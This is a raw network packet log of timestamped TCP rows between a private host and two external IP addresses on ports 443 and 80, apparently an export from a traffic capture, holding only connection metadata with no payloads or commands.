Nov 5, 2024 10:13:22.630302906 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.630377054 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.632364035 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.632376909 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.678086042 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.678457975 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.678467035 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.678895950 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.678900003 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.812581062 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:22.816092014 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.816294909 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.816389084 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.816577911 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.816585064 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.816593885 CET	49749	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.816597939 CET	443	49749	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.817791939 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:22.819107056 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.819139957 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:22.820686102 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.820854902 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:22.820874929 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.117197990 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117209911 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117232084 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117237091 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117247105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117259026 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117269039 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117285967 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117289066 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.117295980 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117306948 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117351055 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.117369890 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.117604017 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117614031 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117624044 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.117655993 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.117683887 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.121736050 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.121784925 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.252566099 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252579927 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252633095 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.252648115 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252705097 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252715111 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252726078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252748966 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.252773046 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.252929926 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.252973080 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.253650904 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.253662109 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.253673077 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.253684998 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.253704071 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.253726959 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.253777981 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.253849030 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.254152060 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.254462004 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.254825115 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.254852057 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.254857063 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.255305052 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.255311012 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.256876945 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.256983995 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.257145882 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.257154942 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.257354021 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.257363081 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.257500887 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.257505894 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.257833958 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.257839918 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.367980957 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368043900 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.368089914 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368099928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368143082 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.368376017 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368385077 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368395090 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368410110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368418932 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.368421078 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.368439913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.368473053 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.369016886 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.369066000 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.369137049 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.369147062 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.369157076 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.369165897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.369184017 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.369210005 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.392463923 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.392523050 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.392611980 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.392833948 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.392864943 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.392874002 CET	49750	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.392879009 CET	443	49750	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.394805908 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.394866943 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.394953012 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.395317078 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.395330906 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.395422935 CET	49751	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.395428896 CET	443	49751	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.395459890 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.396280050 CET	49755	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.396291971 CET	443	49755	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.396328926 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.396632910 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.396903992 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.396965981 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.396976948 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.396981955 CET	49752	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.396989107 CET	443	49752	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.397933006 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.398792982 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.398821115 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.399059057 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.399069071 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.399121046 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.399507999 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.399513006 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.399620056 CET	49756	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.399629116 CET	443	49756	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.400242090 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.400252104 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.400875092 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.400986910 CET	49757	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.400993109 CET	443	49757	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.407217026 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.407280922 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.407391071 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.407401085 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.407417059 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.407437086 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.407464027 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.483506918 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.483587980 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.483666897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.483714104 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.483865976 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.483877897 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.483889103 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.483916998 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.483946085 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.484005928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484067917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.484227896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484278917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.484428883 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484438896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484448910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484458923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.484476089 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.484503984 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.522551060 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.522562027 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.522572041 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.522607088 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.522628069 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.523045063 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.523093939 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.523351908 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.523411989 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.539568901 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.539674044 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.539829969 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.539844990 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.539850950 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.539861917 CET	49753	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.539865971 CET	443	49753	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.542424917 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.542467117 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.542573929 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.542751074 CET	49758	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.542761087 CET	443	49758	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.589066029 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.589628935 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.589643955 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.590075970 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.590082884 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.609361887 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609405041 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609416962 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609457016 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609478951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609478951 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609491110 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609503984 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609539986 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609708071 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609750032 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609761953 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609762907 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609786034 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609803915 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.609806061 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.609930038 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.638196945 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638206959 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638222933 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638250113 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.638274908 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638287067 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.638289928 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638319969 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.638331890 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.638628006 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638636112 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.638674974 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.714385033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714437962 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714448929 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714458942 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714515924 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.714672089 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714725018 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.714728117 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714740992 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714780092 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.714782953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714793921 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.714824915 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.714849949 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.738689899 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.739097118 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.740784883 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.742980003 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.742997885 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.743004084 CET	49754	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.743009090 CET	443	49754	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.745884895 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.745894909 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.745961905 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.746149063 CET	49759	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:23.746160030 CET	443	49759	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:23.753535986 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.753593922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.753609896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.753622055 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.753633022 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.753657103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.753705025 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.754292011 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.754549980 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.754596949 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.829788923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.829843998 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.829843044 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.829857111 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.829884052 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.829896927 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.829948902 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.829988003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.829994917 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.830029011 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.830063105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.830110073 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.830138922 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.830149889 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.830159903 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.830171108 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.830182076 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.830212116 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.869379997 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869424105 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869462013 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.869487047 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.869508982 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869519949 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869530916 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869540930 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.869585991 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.869618893 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.870322943 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.870366096 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.870508909 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.870518923 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.870552063 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.870569944 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946041107 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946060896 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946072102 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946108103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946110010 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946108103 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946122885 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946178913 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946336031 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946387053 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946397066 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946397066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946408033 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.946427107 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.946446896 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.984759092 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.984819889 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.984936953 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.984947920 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.984999895 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985045910 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985090017 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985152006 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985198021 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985255003 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985299110 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985316038 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985326052 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985341072 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985358000 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985358953 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985368967 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985368967 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:23.985383034 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:23.985405922 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.060533047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.060544014 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.060554981 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.060587883 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.060604095 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.061297894 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061347008 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.061372995 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061383009 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061424017 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.061495066 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061505079 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061516047 CET	80	49738	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:24.061558962 CET	49738	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:24.061558962 CET	49738	80	192.168.2.5	185.215.113.206
